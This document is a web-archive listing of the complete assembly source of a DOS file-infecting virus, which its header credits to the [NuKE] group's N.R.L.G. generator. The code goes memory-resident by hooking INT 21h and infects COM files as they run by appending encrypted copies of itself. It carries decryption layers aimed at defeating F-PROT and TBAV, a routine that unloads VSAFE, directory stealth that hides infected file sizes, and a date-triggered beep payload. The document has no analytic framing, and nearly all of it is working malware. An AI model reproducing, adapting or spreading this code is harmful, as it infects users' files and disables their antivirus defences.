home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / UNEVIE.ASM < prev    next >
Assembly Source File  |  1996-05-18  |  23KB  |  474 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  sub byte ptr [di],087h
  36. inc word ptr [di]
  37. xor byte ptr [di],022h
  38. inc word ptr [di]
  39. xor byte ptr [di],030h
  40. add byte ptr [di],075h
  41. xor byte ptr [di],061h
  42. sub byte ptr [di],0b9h
  43. xor word ptr [di],0e185h
  44. add word ptr [di],0aa17h
  45. not word ptr [di] 
  46. inc byte ptr [di]
  47. inc word ptr [di]
  48. xor word ptr [di],0c3d7h
  49. sub word ptr [di],04a83h
  50. not byte ptr [di] 
  51. xor word ptr [di],06acdh
  52.  inc di
  53. inc di
  54. ;----------------------------------------------------------                                                
  55. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  56. mov ah,4ch
  57. int 21h
  58. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  59. ;-----------------------------------------------------------                               
  60. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  61. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  62. ;----------------------------------------------------------                                   
  63. loop deci                    ;repeat please!               
  64.                              ;           
  65. ;*****************************************************************
  66. ;                   #2 DECRYPT ROUTINE                                                    
  67. ;*****************************************************************
  68.                               ;    
  69. crypt:                        ;fuck label!                  
  70.                               ;                
  71. mov cx,offset fin             ;cx = large of virus                 
  72. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  73. ;---------------------------------------------------------------                                              
  74. deci2:                        ;              
  75. xor byte ptr cs:[di],1        ;decrytion rutine          
  76. inc di                        ;very simple...            
  77. loop deci2                    ;           
  78. ;---------------------------------------------------------------
  79. crypt2:                       ;fuck label!          
  80.                               ;                  
  81. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  82. INT 21H                       ;for chek "I'm is residet?"   
  83. CMP Bh,0CAH                   ;is equal to CACA?
  84. JE PUM2                       ;yes! jump to runnig program
  85. call action
  86. ;*****************************************************************
  87. ; NRLG FUNCTIONS  (SELECTABLE)
  88. ;*****************************************************************
  89.  
  90.  call ANTI_V
  91. ;****************************************************************
  92. ;               PROCESS TO REMAIN RESIDENT                                                                  
  93. ;****************************************************************   
  94.  
  95. mov   ax,3521h                  
  96. int   21h                        ;store the int 21 vectors 
  97. mov   word ptr [bp+int21],bx     ;in cs:int21
  98. mov   word ptr [bp+int21+2],es   ;
  99. ;---------------------------------------------------------------
  100. push cs                          ; 
  101. pop ax                           ;ax = my actual segment                             
  102. dec ax                           ;dec my segment for look my MCB
  103. mov es,ax                        ;
  104. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  105. ;---------------------------------------------------------------
  106. push cs                          ;   
  107. pop es                           ;   
  108. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  109. sub bx,17 + offset fin           ;and 100H for the PSP total
  110. mov ah,4ah                       ;used memory
  111. int 21h                          ;put the new value to MCB
  112. ;---------------------------------------------------------------
  113. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  114. mov ah,48h                      ;                              
  115. int 21h                         ;request the memory to fuck DOS!                                                 
  116. ;---------------------------------------------------------------
  117. dec ax                          ;ax=new segment 
  118. mov es,ax                       ;ax-1= new segment MCB 
  119. mov byte ptr es:[1],8           ;put '8' in the segment
  120. ;--------------------------------------------------------------                                
  121. inc ax                          ; 
  122. mov es,ax                       ;es = new segment
  123. lea si,[bp + offset start]      ;si = start of virus 
  124. mov di,100h                     ;di = 100H (psp position) 
  125. mov cx,offset fin - start       ;cx = lag of virus
  126. push cs                         ;
  127. pop ds                          ;ds = cs
  128. cld                             ;mov the code
  129. rep movsb                       ;ds:si >> es:di
  130. ;--------------------------------------------------------------
  131. mov dx,offset virus             ;dx = new int21 handler
  132. mov ax,2521h                    ;
  133. push es                         ; 
  134. pop ds                          ; 
  135. int 21h                         ;set the vectors 
  136. ;-------------------------------------------------------------
  137. pum2:                               ;  
  138.                                     ; 
  139. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  140. mov byte ptr cs:[100h],ah           ;first bytes  
  141. mov ax,word ptr [cs:bp + real + 1]  ;
  142. mov word ptr cs:[101h],ax           ;
  143. ;-------------------------------------------------------------
  144. mov ax,100h                         ;
  145. jmp ax                              ;jmp to execute
  146.                                     ;
  147. ;*****************************************************************
  148. ;*             HANDLER FOR THE INT 21H                                       
  149. ;*****************************************************************
  150.                           ;          
  151. VIRUS:                    ;  
  152.                           ;     
  153. cmp ah,4bh                ;is a 4b function? 
  154. je REPRODUCCION           ;yes! jump to reproduce !
  155. cmp ah,11h
  156. je dir
  157. cmp ah,12h
  158. je dir
  159. dirsal:
  160. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  161. jne a3                    ;no! jump to a3
  162. mov bh,0cah               ;yes! put ca in bh
  163. a3:                       ;
  164. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  165. ret                       ;    
  166. make db '[NuKE] N.R.L.G. AZRAEL'
  167. dir:
  168. jmp dir_s
  169. ;-------------------------------------------------------------
  170. REPRODUCCION:              ;       
  171.                            ;
  172. pushf                      ;put the register
  173. pusha                      ;in the stack
  174. push si                    ;
  175. push di                    ;
  176. push bp                    ;
  177. push es                    ;
  178. push ds                    ;
  179. ;-------------------------------------------------------------
  180. push cs                    ;  
  181. pop ds                     ;  
  182. mov ax,3524H               ;get the dos error control                      
  183. int 21h                    ;interupt                        
  184. mov word ptr error,es      ;and put in cs:error                      
  185. mov word ptr error+2,bx    ;            
  186. mov ax,2524H               ;change the dos error control                    
  187. mov dx,offset all          ;for my "trap mask"                      
  188. int 21h                    ;         
  189. ;-------------------------------------------------------------
  190. pop ds                     ;
  191. pop es                     ;restore the registers
  192. pop bp                     ;
  193. pop di                     ;
  194. pop si                     ;
  195. popa                       ;
  196. popf                       ;
  197. ;-------------------------------------------------------------
  198. pushf                      ;put the registers
  199. pusha                      ;     
  200. push si                    ;HEY! AZRAEL IS CRAZY?
  201. push di                    ;PUSH, POP, PUSH, POP
  202. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  203. push es                    ;PURIFY THIS SHIT!
  204. push ds                    ;
  205. ;-------------------------------------------------------------
  206. mov ax,4300h                 ;       
  207. int 21h                      ;get the file     
  208. mov word ptr cs:[attrib],cx  ;atributes   
  209. ;-------------------------------------------------------------
  210. mov ax,4301h                 ;le saco los atributos al        
  211. xor cx,cx                    ;file 
  212. int 21h                      ;
  213. ;-------------------------------------------------------------  
  214. mov ax,3d02h                 ;open the file 
  215. int 21h                      ;for read/write
  216. mov bx,ax                    ;bx=handle
  217. ;-------------------------------------------------------------
  218. mov ax,5700h                ;     
  219. int 21h                     ;get the file date  
  220. mov word ptr cs:[hora],cx   ;put the hour    
  221. mov word ptr cs:[dia],dx    ;put the day    
  222. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  223. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  224. jne seguir                  ;yes! the file is infected!     
  225. jmp cerrar                  ;
  226. ;------------------------------------------------------------
  227. seguir:                     ;     
  228. mov ax,4202h                ;move the pointer to end
  229. call movedor                ;of the file
  230. ;------------------------------------------------------------
  231. push cs                     ;   
  232. pop ds                      ; 
  233. sub ax,3                    ;calculate the 
  234. mov word ptr [cs:largo],ax  ;jmp long
  235. ;-------------------------------------------------------------
  236. mov ax,04200h               ;move the pointer to  
  237. call movedor                ;start of file
  238. ;----------------------------------------------------------                                          
  239. push cs                     ;   
  240. pop ds                      ;read the 3 first bytes  
  241. mov ah,3fh                  ;                           
  242. mov cx,3                    ;
  243. lea dx,[cs:real]            ;put the bytes in cs:[real]
  244. int 21h                     ;
  245. ;----------------------------------------------------------                                          
  246. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  247. jne er1                         ;yes! is a EXE... fuckkk!
  248. ;----------------------------------------------------------
  249. jmp cerrar
  250. er1:
  251. ;----------------------------------------------------------                                          
  252. mov ax,4200h      ;move the pointer                               
  253. call movedor      ;to start fo file
  254. ;----------------------------------------------------------                                          
  255. push cs           ;       
  256. pop ds            ; 
  257. mov ah,40h        ;  
  258. mov cx,1          ;write the JMP
  259. lea dx,[cs:jump]  ;instruccion in the
  260. int 21h           ;fist byte of the file
  261. ;----------------------------------------------------------                                          
  262. mov ah,40h         ;write the value of jmp
  263. mov cx,2           ;in the file 
  264. lea dx,[cs:largo]  ; 
  265. int 21h            ;
  266. ;----------------------------------------------------------                                          
  267. mov ax,04202h      ;move the pointer to 
  268. call movedor       ;end of file
  269. ;----------------------------------------------------------                                          
  270. push cs                     ;        
  271. pop ds                      ;move the code  
  272. push cs                     ;of my virus      
  273. pop es                      ;to cs:end+50     
  274. cld                         ;for encrypt          
  275. mov si,100h                 ;    
  276. mov di,offset fin + 50      ;      
  277. mov cx,offset fin - 100h    ;        
  278. rep movsb                   ;      
  279. ;----------------------------------------------------------                                          
  280. mov cx,offset fin           
  281. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  282. enc:                              ;           
  283. xor byte ptr cs:[di],1            ;encrypt the virus              
  284. inc di                            ;code                   
  285. loop enc                          ;              
  286. ;---------------------------------------------------------
  287. mov cx,offset fin           
  288. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  289. mov dx,1
  290. enc2:                              ;           
  291.  
  292. xor word ptr [di],06acdh
  293. not byte ptr [di]
  294. add word ptr [di],04a83h
  295. xor word ptr [di],0c3d7h
  296. dec word ptr [di]
  297. dec byte ptr [di]
  298. not word ptr [di]
  299. sub word ptr [di],0aa17h
  300. xor word ptr [di],0e185h
  301. add byte ptr [di],0b9h
  302. xor byte ptr [di],061h
  303. sub byte ptr [di],075h
  304. xor byte ptr [di],030h
  305. dec word ptr [di]
  306. xor byte ptr [di],022h
  307. dec word ptr [di]
  308. add byte ptr [di],087h
  309.  inc di
  310. inc di                             ;the virus code                  
  311. loop enc2                          ;              
  312. ;--------------------------------------------
  313. mov ah,40h                       ;  
  314. mov cx,offset fin - offset start ;copy the virus              
  315. mov dx,offset fin + 50           ;to end of file
  316. int 21h                          ;
  317. ;----------------------------------------------------------                                          
  318. cerrar:                          ;
  319.                                  ;restore the       
  320. mov ax,5701h                     ;date and time    
  321. mov cx,word ptr cs:[hora]        ;file   
  322. mov dx,word ptr cs:[dia]         ;     
  323. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  324. int 21h                          ; 
  325. ;----------------------------------------------------------                                          
  326. mov ah,3eh                       ; 
  327. int 21h                          ;close the file
  328. ;----------------------------------------------------------                                          
  329. pop ds                           ;
  330. pop es                           ;restore the 
  331. pop bp                           ;registers
  332. pop di                           ; 
  333. pop si                           ;
  334. popa                             ;
  335. popf                             ;
  336. ;----------------------------------------------------------                                          
  337. pusha                           ;   
  338.                                 ;                                                             
  339. mov ax,4301h                    ;restores the atributes 
  340. mov cx,word ptr cs:[attrib]     ;of the file  
  341. int 21h                         ;   
  342.                                 ;
  343. popa                            ; 
  344. ;----------------------------------------------------------                                          
  345. pushf                           ;                           
  346. pusha                           ; 8-(  = f-prot                       
  347. push si                         ;                       
  348. push di                         ; 8-(  = tbav   
  349. push bp                         ;                       
  350. push es                         ; 8-)  = I'm                        
  351. push ds                         ;                              
  352. ;----------------------------------------------------------                                          
  353. mov ax,2524H                    ;                         
  354. lea bx,error                    ;restore the                         
  355. mov ds,bx                       ;errors handler      
  356. lea bx,error+2                  ;                         
  357. int 21h                         ;                       
  358. ;----------------------------------------------------------                                          
  359. pop ds                          ;
  360. pop es                          ;
  361. pop bp                          ;restore the 
  362. pop di                          ;resgisters
  363. pop si                          ;
  364. popa                            ;
  365. popf                            ;
  366. ;----------------------------------------------------------                                          
  367. JMP A3                          ;jmp to orig. INT 21
  368.                                 ;
  369. ;**********************************************************
  370. ;           SUBRUTINES AREA
  371. ;**********************************************************
  372.                                 ;
  373. movedor:                        ;   
  374.                                 ; 
  375. xor cx,cx                       ;use to move file pointer         
  376. xor dx,dx                       ;       
  377. int 21h                         ;        
  378. ret                             ;        
  379. ;----------------------------------------------------------                                          
  380. all:                            ;  
  381.                                 ; 
  382. XOR AL,AL                       ;use to set 
  383. iret                            ;error flag
  384.  
  385. ;***********************************************************
  386. ;         DATA AREA
  387. ;***********************************************************
  388. largo  dw  ?
  389. jump   db  0e9h
  390. real   db  0cdh,20h,0
  391. hora   dw  ?
  392. dia    dw  ?
  393. attrib dw  ?
  394. int21  dd  ?
  395. error  dd  ?
  396.  
  397.  ;---------------------------------
  398. action:                            ; 
  399. MOV AH,2AH                         ;        
  400. INT 21H                            ;get date           
  401. CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?                 
  402. JE  cont                           ;nop! fuck ret          
  403. cmp byte ptr cs:[action_dia+bp],32 ;
  404. jne no_day                         ;
  405. cont:                              ; 
  406. cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?            
  407. je set                             ;
  408. cmp byte ptr cs:[action_mes+bp],13 ;
  409. jne NO_DAY                         ;nop! fuck ret           
  410. set:                               ; 
  411. mov cx,50                          ;50 beep's!
  412. beep:                              ;beep label!
  413. mov ax,0E07h                       ; 
  414. int 10h                            ;print beep char 
  415. loop beep                          ;go!
  416. NO_DAY:                            ;             
  417. ret                                ;
  418. ;---------------------------------
  419.  
  420.  ;---------------------------------
  421. ANTI_V:                          ; 
  422. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  423. MOV DX,5945H                     ; 
  424. INT 21H                          ;           
  425. ret                              ;
  426. ;---------------------------------
  427.  
  428.  ;*****************************************************
  429. dir_s:                                                               
  430.              pushf                                                         
  431.              push    cs                                                    
  432.              call    a3                      ;Get file Stats                       
  433.              test    al,al                   ;Good FCB?                            
  434.              jnz     no_good                 ;nope                                 
  435.              push    ax                                                 
  436.              push    bx                                                    
  437.              push    es                                                    
  438.              mov     ah,51h                  ;Is this Undocmented? huh...          
  439.              int     21h                                                   
  440.              mov     es,bx                                                 
  441.              cmp     bx,es:[16h]                                           
  442.              jnz     not_infected                        
  443.              mov     bx,dx                                                 
  444.              mov     al,[bx]                                               
  445.              push    ax                                                    
  446.              mov     ah,2fh                   ;Get file DTA                         
  447.              int     21h                                                   
  448.              pop     ax                                                    
  449.              inc     al                                                    
  450.              jnz     fcb_okay                                              
  451.              add     bx,7h                                                 
  452. fcb_okay:    mov     ax,es:[bx+17h]                                   
  453.              and     ax,1fh                   ;UnMask Seconds Field                 
  454.              xor     al,byte ptr cs:fechad                                      
  455.              jnz     not_infected                                            
  456.              and     byte ptr es:[bx+17h],0e0h                            
  457.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  458.              sbb     es:[bx+1fh],ax                                        
  459. not_infected:pop     es                                                    
  460.              pop     bx                                                    
  461.              pop     ax                                                    
  462. no_good:     iret                                                          
  463. ;********************************************************************
  464. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  465. ;*********************************************************************
  466.  
  467. action_dia Db 01fH ;day for the action
  468. action_mes Db 0cH ;month for the action
  469. FECHA DW 01eH ;Secon for mark
  470. FECHAd Db 01eH ;Secon for mark dir st
  471. fin:
  472. code ends
  473. end start
  474.